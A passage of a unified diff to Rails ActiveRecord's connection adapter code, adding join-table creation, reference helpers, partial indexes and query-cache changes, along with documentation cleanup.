-        subselect.projections = [update.key]
+        key = update.key
+        subselect = subquery_for(key, select)
+
+        update.where key.in(subselect)
+      end
+
+      def join_to_delete(delete, select, key) #:nodoc:
+        subselect = subquery_for(key, select)
 
-        update.where update.key.in(subselect)
+        delete.where key.in(subselect)
       end
 
       protected
+
+        # Return a subquery for the given key using the join information.
+        def subquery_for(key, select)
+          subselect = select.clone
+          subselect.projections = [key]
+          subselect
+        end
+
         # Returns an array of record hashes with the column names as keys and
         # column values as values.
         def select(sql, name = nil, binds = [])
@@ -341,7 +361,7 @@ module ActiveRecord
 
         # Send a rollback message to all records after they have been rolled back. If rollback
         # is false, only rollback records since the last save point.
-        def rollback_transaction_records(rollback) #:nodoc
+        def rollback_transaction_records(rollback)
           if rollback
             records = @_current_transaction_records.flatten
             @_current_transaction_records.clear
@@ -353,7 +373,7 @@ module ActiveRecord
             records.uniq.each do |record|
               begin
                 record.rolledback!(rollback)
-              rescue Exception => e
+              rescue => e
                 record.logger.error(e) if record.respond_to?(:logger) && record.logger
               end
             end
@@ -361,14 +381,14 @@ module ActiveRecord
         end
 
         # Send a commit message to all records after they have been committed.
-        def commit_transaction_records #:nodoc
+        def commit_transaction_records
           records = @_current_transaction_records.flatten
           @_current_transaction_records.clear
           unless records.blank?
             records.uniq.each do |record|
               begin
                 record.committed!
-              rescue Exception => e
+              rescue => e
                 record.logger.error(e) if record.respond_to?(:logger) && record.logger
               end
             end
diff --git a/activerecord/lib/active_record/connection_adapters/abstract/query_cache.rb b/activerecord/lib/active_record/connection_adapters/abstract/query_cache.rb
index 27ff13ad89..be6fda95b4 100644
--- a/activerecord/lib/active_record/connection_adapters/abstract/query_cache.rb
+++ b/activerecord/lib/active_record/connection_adapters/abstract/query_cache.rb
@@ -2,7 +2,7 @@ module ActiveRecord
   module ConnectionAdapters # :nodoc:
     module QueryCache
       class << self
-        def included(base)
+        def included(base) #:nodoc:
           dirties_query_cache base, :insert, :update, :delete
         end
 
@@ -56,8 +56,8 @@ module ActiveRecord
       end
 
       def select_all(arel, name = nil, binds = [])
-        if @query_cache_enabled
-          sql = to_sql(arel)
+        if @query_cache_enabled && !locked?(arel)
+          sql = to_sql(arel, binds)
           cache_sql(sql, binds) { super(sql, name, binds) }
         else
           super
@@ -65,18 +65,29 @@ module ActiveRecord
       end
 
       private
-        def cache_sql(sql, binds)
-          result =
-            if @query_cache[sql].key?(binds)
-              ActiveSupport::Notifications.instrument("sql.active_record",
-                :sql => sql, :name => "CACHE", :connection_id => object_id)
-              @query_cache[sql][binds]
-            else
-              @query_cache[sql][binds] = yield
-            end
 
+      def cache_sql(sql, binds)
+        result =
+          if @query_cache[sql].key?(binds)
+            ActiveSupport::Notifications.instrument("sql.active_record",
+              :sql => sql, :binds => binds, :name => "CACHE", :connection_id => object_id)
+            @query_cache[sql][binds]
+          else
+            @query_cache[sql][binds] = yield
+          end
+
+        # FIXME: we should guarantee that all cached items are Result
+        # objects.  Then we can avoid this conditional
+        if ActiveRecord::Result === result
+          result.dup
+        else
           result.collect { |row| row.dup }
         end
+      end
+
+      def locked?(arel)
+        arel.respond_to?(:locked) && arel.locked
+      end
     end
   end
 end
diff --git a/activerecord/lib/active_record/connection_adapters/abstract/quoting.rb b/activerecord/lib/active_record/connection_adapters/abstract/quoting.rb
index f93c7cd74a..60a9eee7c7 100644
--- a/activerecord/lib/active_record/connection_adapters/abstract/quoting.rb
+++ b/activerecord/lib/active_record/connection_adapters/abstract/quoting.rb
@@ -31,9 +31,10 @@ module ActiveRecord
           # BigDecimals need to be put in a non-normalized form and quoted.
         when nil        then "NULL"
         when BigDecimal then value.to_s('F')
-        when Numeric    then value.to_s
+        when Numeric, ActiveSupport::Duration then value.to_s
         when Date, Time then "'#{quoted_date(value)}'"
         when Symbol     then "'#{quote_string(value.to_s)}'"
+        when Class      then "'#{value.to_s}'"
         else
           "'#{quote_string(YAML.dump(value))}'"
         end
@@ -71,7 +72,8 @@ module ActiveRecord
         when Date, Time then quoted_date(value)
         when Symbol     then value.to_s
         else
-          YAML.dump(value)
+          to_type = column ? " to #{column.type}" : ""
+          raise TypeError, "can't cast #{value.class}#{to_type}"
         end
       end
 
diff --git a/activerecord/lib/active_record/connection_adapters/abstract/schema_definitions.rb b/activerecord/lib/active_record/connection_adapters/abstract/schema_definitions.rb
index 6f135b56b5..dca355aa93 100644
--- a/activerecord/lib/active_record/connection_adapters/abstract/schema_definitions.rb
+++ b/activerecord/lib/active_record/connection_adapters/abstract/schema_definitions.rb
@@ -1,4 +1,3 @@
-require 'active_support/core_ext/object/blank'
 require 'date'
 require 'set'
 require 'bigdecimal'
@@ -6,7 +5,10 @@ require 'bigdecimal/util'
 
 module ActiveRecord
   module ConnectionAdapters #:nodoc:
-    class IndexDefinition < Struct.new(:table, :name, :unique, :columns, :lengths, :orders) #:nodoc:
+    # Abstract representation of an index definition on a table. Instances of
+    # this type are typically created and returned by methods in database
+    # adapters. e.g. ActiveRecord::ConnectionAdapters::AbstractMysqlAdapter#indexes
+    class IndexDefinition < Struct.new(:table, :name, :unique, :columns, :lengths, :orders, :where) #:nodoc:
     end
 
     # Abstract representation of a column definition. Instances of this type
@@ -20,7 +22,7 @@ module ActiveRecord
       end
 
       def sql_type
-        base.type_to_sql(type.to_sym, limit, precision, scale) rescue type
+        base.type_to_sql(type.to_sym, limit, precision, scale)
       end
 
       def to_sql
@@ -62,10 +64,12 @@ module ActiveRecord
     class TableDefinition
       # An array of ColumnDefinition objects, representing the column changes
       # that have been defined.
-      attr_accessor :columns
+      attr_accessor :columns, :indexes
 
       def initialize(base)
         @columns = []
+        @columns_hash = {}
+        @indexes = {}
         @base = base
       end
 
@@ -86,7 +90,7 @@ module ActiveRecord
 
       # Returns a ColumnDefinition for the column with name +name+.
       def [](name)
-        @columns.find {|column| column.name.to_s == name.to_s}
+        @columns_hash[name.to_s]
       end
 
       # Instantiates a new column for the table.
@@ -208,51 +212,65 @@ module ActiveRecord
       #
       # TableDefinition#references will add an appropriately-named _id column, plus a corresponding _type
       # column if the <tt>:polymorphic</tt> option is supplied. If <tt>:polymorphic</tt> is a hash of
-      # options, these will be used when creating the <tt>_type</tt> column. So what can be written like this:
+      # options, these will be used when creating the <tt>_type</tt> column. The <tt>:index</tt> option
+      # will also create an index, similar to calling <tt>add_index</tt>. So what can be written like this:
       #
       #   create_table :taggings do |t|
       #     t.integer :tag_id, :tagger_id, :taggable_id
       #     t.string  :tagger_type
       #     t.string  :taggable_type, :default => 'Photo'
       #   end
+      #   add_index :taggings, :tag_id, :name => 'index_taggings_on_tag_id'
+      #   add_index :taggings, [:tagger_id, :tagger_type]
       #
       # Can also be written as follows using references:
       #
       #   create_table :taggings do |t|
-      #     t.references :tag
-      #     t.references :tagger, :polymorphic => true
+      #     t.references :tag, :index => { :name => 'index_taggings_on_tag_id' }
+      #     t.references :tagger, :polymorphic => true, :index => true
       #     t.references :taggable, :polymorphic => { :default => 'Photo' }
       #   end
       def column(name, type, options = {})
-        column = self[name] || ColumnDefinition.new(@base, name, type)
-        if options[:limit]
-          column.limit = options[:limit]
-        elsif native[type.to_sym].is_a?(Hash)
-          column.limit = native[type.to_sym][:limit]
+        name = name.to_s
+        type = type.to_sym
+
+        column = self[name] || new_column_definition(@base, name, type)
+
+        limit = options.fetch(:limit) do
+          native[type][:limit] if native[type].is_a?(Hash)
         end
+
+        column.limit     = limit
         column.precision = options[:precision]
-        column.scale = options[:scale]
-        column.default = options[:default]
-        column.null = options[:null]
-        @columns << column unless @columns.include? column
+        column.scale     = options[:scale]
+        column.default   = options[:default]
+        column.null      = options[:null]
         self
       end
 
       %w( string text integer float decimal datetime timestamp time date binary boolean ).each do |column_type|
         class_eval <<-EOV, __FILE__, __LINE__ + 1
-          def #{column_type}(*args)                                               # def string(*args)
-            options = args.extract_options!                                       #   options = args.extract_options!
-            column_names = args                                                   #   column_names = args
-                                                                                  #
-            column_names.each { |name| column(name, '#{column_type}', options) }  #   column_names.each { |name| column(name, 'string', options) }
-          end                                                                     # end
+          def #{column_type}(*args)                                   # def string(*args)
+            options = args.extract_options!                           #   options = args.extract_options!
+            column_names = args                                       #   column_names = args
+            type = :'#{column_type}'                                  #   type = :string
+            column_names.each { |name| column(name, type, options) }  #   column_names.each { |name| column(name, type, options) }
+          end                                                         # end
         EOV
       end
 
+      # Adds index options to the indexes hash, keyed by column name
+      # This is primarily used to track indexes that need to be created after the table
+      #
+      #   index(:account_id, :name => 'index_projects_on_account_id')
+      def index(column_name, options = {})
+        indexes[column_name] = options
+      end
+
       # Appends <tt>:datetime</tt> columns <tt>:created_at</tt> and
       # <tt>:updated_at</tt> to the table.
       def timestamps(*args)
-        options = { :null => false }.merge(args.extract_options!)
+        options = args.extract_options!
         column(:created_at, :datetime, options)
         column(:updated_at, :datetime, options)
       end
@@ -260,9 +278,11 @@ module ActiveRecord
       def references(*args)
         options = args.extract_options!
         polymorphic = options.delete(:polymorphic)
+        index_options = options.delete(:index)
         args.each do |col|
           column("#{col}_id", :integer, options)
-          column("#{col}_type", :string, polymorphic.is_a?(Hash) ? polymorphic : options) unless polymorphic.nil?
+          column("#{col}_type", :string, polymorphic.is_a?(Hash) ? polymorphic : options) if polymorphic
+          index(polymorphic ? %w(id type).map { |t| "#{col}_#{t}" } : "#{col}_id", index_options.is_a?(Hash) ? index_options : nil) if index_options
         end
       end
       alias :belongs_to :references
@@ -275,9 +295,16 @@ module ActiveRecord
       end
 
       private
-        def native
-          @base.native_database_types
-        end
+      def new_column_definition(base, name, type)
+        definition = ColumnDefinition.new base, name, type
+        @columns << definition
+        @columns_hash[name] = definition
+        definition
+      end
+
+      def native
+        @base.native_database_types
+      end
     end
 
     # Represents an SQL table in an abstract way for updating a table.
@@ -320,7 +347,7 @@ module ActiveRecord
 
       # Adds a new column to the named table.
       # See TableDefinition#column for details of the options you can use.
-      # ===== Example
+      #
       # ====== Creating a simple column
       #  t.column(:name, :string)
       def column(column_name, type, options = {})
@@ -335,7 +362,6 @@ module ActiveRecord
       # Adds a new index to the table. +column_name+ can be a single Symbol, or
       # an Array of Symbols. See SchemaStatements#add_index
       #
-      # ===== Examples
       # ====== Creating a simple index
       #  t.index(:name)
       # ====== Creating a unique index
@@ -352,7 +378,7 @@ module ActiveRecord
       end
 
       # Adds timestamps (+created_at+ and +updated_at+) columns to the table. See SchemaStatements#add_timestamps
-      # ===== Example
+      #
       #  t.timestamps
       def timestamps
         @base.add_timestamps(@table_name)
@@ -360,7 +386,7 @@ module ActiveRecord
 
       # Changes the column's definition according to the new options.
       # See TableDefinition#column for details of the options you can use.
-      # ===== Examples
+      #
       #  t.change(:name, :string, :limit => 80)
       #  t.change(:description, :text)
       def change(column_name, type, options = {})
@@ -368,7 +394,7 @@ module ActiveRecord
       end
 
       # Sets a new default value for a column. See SchemaStatements#change_column_default
-      # ===== Examples
+      #
       #  t.change_default(:qualification, 'new')
       #  t.change_default(:authorized, 1)
       def change_default(column_name, default)
@@ -376,16 +402,15 @@ module ActiveRecord
       end
 
       # Removes the column(s) from the table definition.
-      # ===== Examples
+      #
       #  t.remove(:qualification)
       #  t.remove(:qualification, :experience)
       def remove(*column_names)
-        @base.remove_column(@table_name, column_names)
+        @base.remove_column(@table_name, *column_names)
       end
 
       # Removes the given index from the table.
       #
-      # ===== Examples
       # ====== Remove the index_table_name_on_column in the table_name table
       #   t.remove_index :column
       # ====== Remove the index named index_table_name_on_branch_id in the table_name table
@@ -399,14 +424,14 @@ module ActiveRecord
       end
 
       # Removes the timestamp columns (+created_at+ and +updated_at+) from the table.
-      # ===== Example
+      #
       #  t.remove_timestamps
       def remove_timestamps
         @base.remove_timestamps(@table_name)
       end
 
       # Renames a column.
-      # ===== Example
+      #
       #  t.rename(:description, :name)
       def rename(column_name, new_column_name)
         @base.rename_column(@table_name, column_name, new_column_name)
@@ -414,38 +439,34 @@ module ActiveRecord
 
       # Adds a reference. Optionally adds a +type+ column, if <tt>:polymorphic</tt> option is provided.
       # <tt>references</tt> and <tt>belongs_to</tt> are acceptable.
-      # ===== Examples
-      #  t.references(:goat)
-      #  t.references(:goat, :polymorphic => true)
-      #  t.belongs_to(:goat)
+      #
+      #  t.references(:user)
+      #  t.belongs_to(:supplier, polymorphic: true)
+      #
       def references(*args)
         options = args.extract_options!
-        polymorphic = options.delete(:polymorphic)
-        args.each do |col|
-          @base.add_column(@table_name, "#{col}_id", :integer, options)
-          @base.add_column(@table_name, "#{col}_type", :string, polymorphic.is_a?(Hash) ? polymorphic : options) unless polymorphic.nil?
+        args.each do |ref_name|
+          @base.add_reference(@table_name, ref_name, options)
         end
       end
       alias :belongs_to :references
 
       # Removes a reference. Optionally removes a +type+ column.
       # <tt>remove_references</tt> and <tt>remove_belongs_to</tt> are acceptable.
-      # ===== Examples
-      #  t.remove_references(:goat)
-      #  t.remove_references(:goat, :polymorphic => true)
-      #  t.remove_belongs_to(:goat)
+      #
+      #  t.remove_references(:user)
+      #  t.remove_belongs_to(:supplier, polymorphic: true)
+      #
       def remove_references(*args)
         options = args.extract_options!
-        polymorphic = options.delete(:polymorphic)
-        args.each do |col|
-          @base.remove_column(@table_name, "#{col}_id")
-          @base.remove_column(@table_name, "#{col}_type") unless polymorphic.nil?
+        args.each do |ref_name|
+          @base.remove_reference(@table_name, ref_name, options)
         end
       end
-      alias :remove_belongs_to  :remove_references
+      alias :remove_belongs_to :remove_references
 
       # Adds a column or columns of a specified type
-      # ===== Examples
+      #
       #  t.string(:goat)
       #  t.string(:goat, :sheep)
       %w( string text integer float decimal datetime timestamp time date binary boolean ).each do |column_type|
@@ -453,13 +474,13 @@ module ActiveRecord
           def #{column_type}(*args)                                          # def string(*args)
             options = args.extract_options!                                  #   options = args.extract_options!
             column_names = args                                              #   column_names = args
-                                                                             #
+            type = :'#{column_type}'                                         #   type = :string
             column_names.each do |name|                                      #   column_names.each do |name|
-              column = ColumnDefinition.new(@base, name, '#{column_type}')   #     column = ColumnDefinition.new(@base, name, 'string')
+              column = ColumnDefinition.new(@base, name.to_s, type)          #     column = ColumnDefinition.new(@base, name, type)
               if options[:limit]                                             #     if options[:limit]
                 column.limit = options[:limit]                               #       column.limit = options[:limit]
-              elsif native['#{column_type}'.to_sym].is_a?(Hash)              #     elsif native['string'.to_sym].is_a?(Hash)
-                column.limit = native['#{column_type}'.to_sym][:limit]       #       column.limit = native['string'.to_sym][:limit]
+              elsif native[type].is_a?(Hash)                                 #     elsif native[type].is_a?(Hash)
+                column.limit = native[type][:limit]                          #       column.limit = native[type][:limit]
               end                                                            #     end
               column.precision = options[:precision]                         #     column.precision = options[:precision]
               column.scale = options[:scale]                                 #     column.scale = options[:scale]
diff --git a/activerecord/lib/active_record/connection_adapters/abstract/schema_statements.rb b/activerecord/lib/active_record/connection_adapters/abstract/schema_statements.rb
index 0e5e33fa02..86d6266af9 100644
--- a/activerecord/lib/active_record/connection_adapters/abstract/schema_statements.rb
+++ b/activerecord/lib/active_record/connection_adapters/abstract/schema_statements.rb
@@ -1,8 +1,10 @@
-require 'active_support/core_ext/array/wrap'
+require 'active_record/migration/join_table'
 
 module ActiveRecord
   module ConnectionAdapters # :nodoc:
     module SchemaStatements
+      include ActiveRecord::Migration::JoinTable
+
       # Returns a Hash of mappings from the abstract data types to the native
       # database types. See TableDefinition#column for details on the recognized
       # abstract data types.
@@ -12,14 +14,11 @@ module ActiveRecord
 
       # Truncates a table alias according to the limits of the current adapter.
       def table_alias_for(table_name)
-        table_name[0...table_alias_length].gsub(/\./, '_')
+        table_name[0...table_alias_length].tr('.', '_')
       end
 
-      # def tables(name = nil) end
-
       # Checks to see if the table +table_name+ exists on the database.
       #
-      # === Example
       #   table_exists?(:developers)
       def table_exists?(table_name)
         tables.include?(table_name.to_s)
@@ -30,7 +29,6 @@ module ActiveRecord
 
       # Checks to see if an index exists on a table for a given index definition.
       #
-      # === Examples
       #  # Check an index exists
       #  index_exists?(:suppliers, :company_id)
       #
@@ -43,7 +41,7 @@ module ActiveRecord
       #  # Check an index with a custom name exists
       #  index_exists?(:suppliers, :company_id, :name => "idx_company_id"
       def index_exists?(table_name, column_name, options = {})
-        column_names = Array.wrap(column_name)
+        column_names = Array(column_name)
         index_name = options.key?(:name) ? options[:name].to_s : index_name(table_name, :column => column_names)
         if options[:unique]
           indexes(table_name).any?{ |i| i.unique && i.name == index_name }
@@ -54,11 +52,10 @@ module ActiveRecord
 
       # Returns an array of Column objects for the table specified by +table_name+.
       # See the concrete implementation for details on the expected parameter values.
-      def columns(table_name, name = nil) end
+      def columns(table_name) end
 
       # Checks to see if a column exists in a given table.
       #
-      # === Examples
       #  # Check a column exists
       #  column_exists?(:suppliers, :name)
       #
@@ -66,13 +63,18 @@ module ActiveRecord
       #  column_exists?(:suppliers, :name, :string)
       #
       #  # Check a column exists with a specific definition
-      #  column_exists?(:suppliers, :name, :string, :limit => 100)
+      #  column_exists?(:suppliers, :name, :string, limit: 100)
+      #  column_exists?(:suppliers, :name, :string, default: 'default')
+      #  column_exists?(:suppliers, :name, :string, null: false)
+      #  column_exists?(:suppliers, :tax, :decimal, precision: 8, scale: 2)
       def column_exists?(table_name, column_name, type = nil, options = {})
         columns(table_name).any?{ |c| c.name == column_name.to_s &&
-                                      (!type                 || c.type == type) &&
-                                      (!options[:limit]      || c.limit == options[:limit]) &&
-                                      (!options[:precision]  || c.precision == options[:precision]) &&
-                                      (!options[:scale]      || c.scale == options[:scale]) }
+                                      (!type                     || c.type == type) &&
+                                      (!options.key?(:limit)     || c.limit == options[:limit]) &&
+                                      (!options.key?(:precision) || c.precision == options[:precision]) &&
+                                      (!options.key?(:scale)     || c.scale == options[:scale]) &&
+                                      (!options.key?(:default)   || c.default == options[:default]) &&
+                                      (!options.key?(:null)      || c.null == options[:null]) }
       end
 
       # Creates a new table with the name +table_name+. +table_name+ may either
@@ -113,7 +115,7 @@ module ActiveRecord
       #   Defaults to +id+. If <tt>:id</tt> is false this option is ignored.
       #
       #   Also note that this just sets the primary key in the table. You additionally
-      #   need to configure the primary key in the model via the +set_primary_key+ macro.
+      #   need to configure the primary key in the model via +self.primary_key=+.
       #   Models do NOT auto-detect the primary key from their table definition.
       #
       # [<tt>:options</tt>]
@@ -124,7 +126,6 @@ module ActiveRecord
       #   Set to true to drop the table before creating it.
       #   Defaults to false.
       #
-      # ===== Examples
       # ====== Add a backend specific option to the generated SQL (MySQL)
       #  create_table(:suppliers, :options => 'ENGINE=InnoDB DEFAULT CHARSET=utf8')
       # generates:
@@ -154,14 +155,14 @@ module ActiveRecord
       #  )
       #
       # See also TableDefinition#column for details on how to create columns.
-      def create_table(table_name, options = {}, &blk)
+      def create_table(table_name, options = {})
         td = table_definition
         td.primary_key(options[:primary_key] || Base.get_primary_key(table_name.to_s.singularize)) unless options[:id] == false
 
-        td.instance_eval(&blk) if blk
+        yield td if block_given?
 
         if options[:force] && table_exists?(table_name)
-          drop_table(table_name)
+          drop_table(table_name, options)
         end
 
         create_sql = "CREATE#{' TEMPORARY' if options[:temporary]} TABLE "
@@ -169,11 +170,52 @@ module ActiveRecord
         create_sql << td.to_sql
         create_sql << ") #{options[:options]}"
         execute create_sql
+        td.indexes.each_pair { |c,o| add_index table_name, c, o }
+      end
+
+      # Creates a new join table with the name created using the lexical order of the first two
+      # arguments. These arguments can be a String or a Symbol.
+      #
+      #  # Creates a table called 'assemblies_parts' with no id.
+      #  create_join_table(:assemblies, :parts)
+      #
+      # You can pass a +options+ hash can include the following keys:
+      # [<tt>:table_name</tt>]
+      #   Sets the table name overriding the default
+      # [<tt>:column_options</tt>]
+      #   Any extra options you want appended to the columns definition.
+      # [<tt>:options</tt>]
+      #   Any extra options you want appended to the table definition.
+      # [<tt>:temporary</tt>]
+      #   Make a temporary table.
+      # [<tt>:force</tt>]
+      #   Set to true to drop the table before creating it.
+      #   Defaults to false.
+      #
+      # ====== Add a backend specific option to the generated SQL (MySQL)
+      #  create_join_table(:assemblies, :parts, :options => 'ENGINE=InnoDB DEFAULT CHARSET=utf8')
+      # generates:
+      #  CREATE TABLE assemblies_parts (
+      #    assembly_id int NOT NULL,
+      #    part_id int NOT NULL,
+      #  ) ENGINE=InnoDB DEFAULT CHARSET=utf8
+      def create_join_table(table_1, table_2, options = {})
+        join_table_name = find_join_table_name(table_1, table_2, options)
+
+        column_options = options.delete(:column_options) || {}
+        column_options.reverse_merge!(null: false)
+
+        t1_column, t2_column = [table_1, table_2].map{ |t| t.to_s.singularize.foreign_key }
+
+        create_table(join_table_name, options.merge!(id: false)) do |td|
+          td.integer t1_column, column_options
+          td.integer t2_column, column_options
+          yield td if block_given?
+        end
       end
 
       # A block for changing columns in +table+.
       #
-      # === Example
       #  # change_table() yields a Table instance
       #  change_table(:suppliers) do |t|
       #    t.column :name, :string, :limit => 60
@@ -187,7 +229,6 @@ module ActiveRecord
       #
       #   Defaults to false.
       #
-      # ===== Examples
       # ====== Add a column
       #  change_table(:suppliers) do |t|
       #    t.column :name, :string, :limit => 60
@@ -246,14 +287,14 @@ module ActiveRecord
       end
 
       # Renames a table.
-      # ===== Example
+      #
       #  rename_table('octopuses', 'octopi')
       def rename_table(table_name, new_name)
         raise NotImplementedError, "rename_table is not implemented"
       end
 
       # Drops a table from the database.
-      def drop_table(table_name)
+      def drop_table(table_name, options = {})
         execute "DROP TABLE #{quote_table_name(table_name)}"
       end
 
@@ -266,7 +307,7 @@ module ActiveRecord
       end
 
       # Removes the column(s) from the table definition.
-      # ===== Examples
+      #
       #  remove_column(:suppliers, :qualification)
       #  remove_columns(:suppliers, :qualification, :experience)
       def remove_column(table_name, *column_names)
@@ -276,7 +317,7 @@ module ActiveRecord
 
       # Changes the column's definition according to the new options.
       # See TableDefinition#column for details of the options you can use.
-      # ===== Examples
+      #
       #  change_column(:suppliers, :name, :string, :limit => 80)
       #  change_column(:accounts, :description, :text)
       def change_column(table_name, column_name, type, options = {})
@@ -284,7 +325,7 @@ module ActiveRecord
       end
 
       # Sets a new default value for a column.
-      # ===== Examples
+      #
       #  change_column_default(:suppliers, :qualification, 'new')
       #  change_column_default(:accounts, :authorized, 1)
       #  change_column_default(:users, :email, nil)
@@ -293,7 +334,7 @@ module ActiveRecord
       end
 
       # Renames a column.
-      # ===== Example
+      #
       #  rename_column(:suppliers, :description, :name)
       def rename_column(table_name, column_name, new_column_name)
         raise NotImplementedError, "rename_column is not implemented"
@@ -302,17 +343,8 @@ module ActiveRecord
       # Adds a new index to the table. +column_name+ can be a single Symbol, or
       # an Array of Symbols.
       #
-      # The index will be named after the table and the first column name,
-      # unless you pass <tt>:name</tt> as an option.
-      #
-      # When creating an index on multiple columns, the first column is used as a name
-      # for the index. For example, when you specify an index on two columns
-      # [<tt>:first</tt>, <tt>:last</tt>], the DBMS creates an index for both columns as well as an
-      # index for the first column <tt>:first</tt>. Using just the first name for this index
-      # makes sense, because you will never have to create a singular index with this
-      # name.
-      #
-      # ===== Examples
+      # The index will be named after the table and the column name(s), unless
+      # you pass <tt>:name</tt> as an option.
       #
       # ====== Creating a simple index
       #  add_index(:suppliers, :name)
@@ -341,15 +373,22 @@ module ActiveRecord
       # Note: SQLite doesn't support index length
       #
       # ====== Creating an index with a sort order (desc or asc, asc is the default)
-      #  add_index(:accounts, [:branch_id, :party_id, :surname], :order => {:branch_id => :desc, :part_id => :asc})
+      #  add_index(:accounts, [:branch_id, :party_id, :surname], :order => {:branch_id => :desc, :party_id => :asc})
       # generates
       #  CREATE INDEX by_branch_desc_party ON accounts(branch_id DESC, party_id ASC, surname)
       #
       # Note: mysql doesn't yet support index order (it accepts the syntax but ignores it)
       #
+      # ====== Creating a partial index
+      #  add_index(:accounts, [:branch_id, :party_id], :unique => true, :where => "active")
+      # generates
+      #  CREATE UNIQUE INDEX index_accounts_on_branch_id_and_party_id ON accounts(branch_id, party_id) WHERE active
+      #
+      # Note: only supported by PostgreSQL
+      #
       def add_index(table_name, column_name, options = {})
-        index_name, index_type, index_columns = add_index_options(table_name, column_name, options)
-        execute "CREATE #{index_type} INDEX #{quote_column_name(index_name)} ON #{quote_table_name(table_name)} (#{index_columns})"
+        index_name, index_type, index_columns, index_options = add_index_options(table_name, column_name, options)
+        execute "CREATE #{index_type} INDEX #{quote_column_name(index_name)} ON #{quote_table_name(table_name)} (#{index_columns})#{index_options}"
       end
 
       # Remove the given index from the table.
@@ -385,7 +424,7 @@ module ActiveRecord
       def index_name(table_name, options) #:nodoc:
         if Hash === options # legacy support
           if options[:column]
-            "index_#{table_name}_on_#{Array.wrap(options[:column]) * '_and_'}"
+            "index_#{table_name}_on_#{Array(options[:column]) * '_and_'}"
           elsif options[:name]
             options[:name]
           else
@@ -406,6 +445,42 @@ module ActiveRecord
         indexes(table_name).detect { |i| i.name == index_name }
       end
 
+      # Adds a reference. Optionally adds a +type+ column, if <tt>:polymorphic</tt> option is provided.
+      # <tt>add_reference</tt> and <tt>add_belongs_to</tt> are acceptable.
+      #
+      # ====== Create a user_id column
+      #  add_reference(:products, :user)
+      #
+      # ====== Create a supplier_id and supplier_type columns
+      #  add_belongs_to(:products, :supplier, polymorphic: true)
+      #
+      # ====== Create a supplier_id, supplier_type columns and appropriate index
+      #  add_reference(:products, :supplier, polymorphic: true, index: true)
+      #
+      def add_reference(table_name, ref_name, options = {})
+        polymorphic = options.delete(:polymorphic)
+        index_options = options.delete(:index)
+        add_column(table_name, "#{ref_name}_id", :integer, options)
+        add_column(table_name, "#{ref_name}_type", :string, polymorphic.is_a?(Hash) ? polymorphic : options) if polymorphic
+        add_index(table_name, polymorphic ? %w[id type].map{ |t| "#{ref_name}_#{t}" } : "#{ref_name}_id", index_options.is_a?(Hash) ? index_options : nil) if index_options
+      end
+      alias :add_belongs_to :add_reference
+
+      # Removes the reference(s). Also removes a +type+ column if one exists.
+      # <tt>remove_reference</tt>, <tt>remove_references</tt> and <tt>remove_belongs_to</tt> are acceptable.
+      #
+      # ====== Remove the reference
+      #  remove_reference(:products, :user, index: true)
+      #
+      # ====== Remove polymorphic reference
+      #  remove_reference(:products, :supplier, polymorphic: true)
+      #
+      def remove_reference(table_name, ref_name, options = {})
+        remove_column(table_name, "#{ref_name}_id")
+        remove_column(table_name, "#{ref_name}_type") if options[:polymorphic]
+      end
+      alias :remove_belongs_to :remove_reference
+
       # Returns a string of <tt>CREATE TABLE</tt> SQL statement(s) for recreating the
       # entire structure of the database.
       def structure_dump
@@ -413,37 +488,20 @@ module ActiveRecord
 
       def dump_schema_information #:nodoc:
         sm_table = ActiveRecord::Migrator.schema_migrations_table_name
-        migrated = select_values("SELECT version FROM #{sm_table} ORDER BY version")
-        migrated.map { |v| "INSERT INTO #{sm_table} (version) VALUES ('#{v}');" }.join("\n\n")
+
+        ActiveRecord::SchemaMigration.order('version').map { |sm|
+          "INSERT INTO #{sm_table} (version) VALUES ('#{sm.version}');"
+        }.join "\n\n"
       end
 
       # Should not be called normally, but this operation is non-destructive.
       # The migrations module handles this automatically.
       def initialize_schema_migrations_table
-        sm_table = ActiveRecord::Migrator.schema_migrations_table_name
-
-        unless table_exists?(sm_table)
-          create_table(sm_table, :id => false) do |schema_migrations_table|
-            schema_migrations_table.column :version, :string, :null => false
-          end
-          add_index sm_table, :version, :unique => true,
-            :name => "#{Base.table_name_prefix}unique_schema_migrations#{Base.table_name_suffix}"
-
-          # Backwards-compatibility: if we find schema_info, assume we've
-          # migrated up to that point:
-          si_table = Base.table_name_prefix + 'schema_info' + Base.table_name_suffix
-
-          if table_exists?(si_table)
-
-            old_version = select_value("SELECT version FROM #{quote_table_name(si_table)}").to_i
-            assume_migrated_upto_version(old_version)
-            drop_table(si_table)
-          end
-        end
+        ActiveRecord::SchemaMigration.create_table
       end
 
       def assume_migrated_upto_version(version, migrations_paths = ActiveRecord::Migrator.migrations_paths)
-        migrations_paths = Array.wrap(migrations_paths)
+        migrations_paths = Array(migrations_paths)
         version = version.to_i
         sm_table = quote_table_name(ActiveRecord::Migrator.schema_migrations_table_name)
 
@@ -512,15 +570,15 @@ module ActiveRecord
       end
 
       # Adds timestamps (created_at and updated_at) columns to the named table.
-      # ===== Examples
+      #
       #  add_timestamps(:suppliers)
       def add_timestamps(table_name)
-        add_column table_name, :created_at, :datetime, :null => false
-        add_column table_name, :updated_at, :datetime, :null => false
+        add_column table_name, :created_at, :datetime
+        add_column table_name, :updated_at, :datetime
       end
 
       # Removes the timestamp columns (created_at and updated_at) from the table definition.
-      # ===== Examples
+      #
       #  remove_timestamps(:suppliers)
       def remove_timestamps(table_name)
         remove_column table_name, :updated_at
@@ -532,7 +590,7 @@ module ActiveRecord
           if options.is_a?(Hash) && order = options[:order]
             case order
             when Hash
-              column_names.each {|name| option_strings[name] += " #{order[name].to_s.upcase}" if order.has_key?(name)}
+              column_names.each {|name| option_strings[name] += " #{order[name].upcase}" if order.has_key?(name)}
             when String
               column_names.each {|name| option_strings[name] += " #{order.upcase}"}
             end
@@ -558,12 +616,15 @@ module ActiveRecord
         end
 
         def add_index_options(table_name, column_name, options = {})
-          column_names = Array.wrap(column_name)
+          column_names = Array(column_name)
           index_name   = index_name(table_name, :column => column_names)
 
           if Hash === options # legacy support, since this param was a string
             index_type = options[:unique] ? "UNIQUE" : ""
             index_name = options[:name].to_s if options.key?(:name)
+            if supports_partial_index?
+              index_options = options[:where] ? " WHERE #{options[:where]}" : ""
+            end
           else
             index_type = options
           end
@@ -576,7 +637,7 @@ module ActiveRecord
           end
           index_columns = quoted_columns_for_index(column_names, options).join(", ")
 
-          [index_name, index_type, index_columns]
+          [index_name, index_type, index_columns, index_options]
         end
 
         def index_name_for_remove(table_name, options = {})
@@ -590,8 +651,6 @@ module ActiveRecord
         end
 
         def columns_for_remove(table_name, *column_names)
-          column_names = column_names.flatten
-
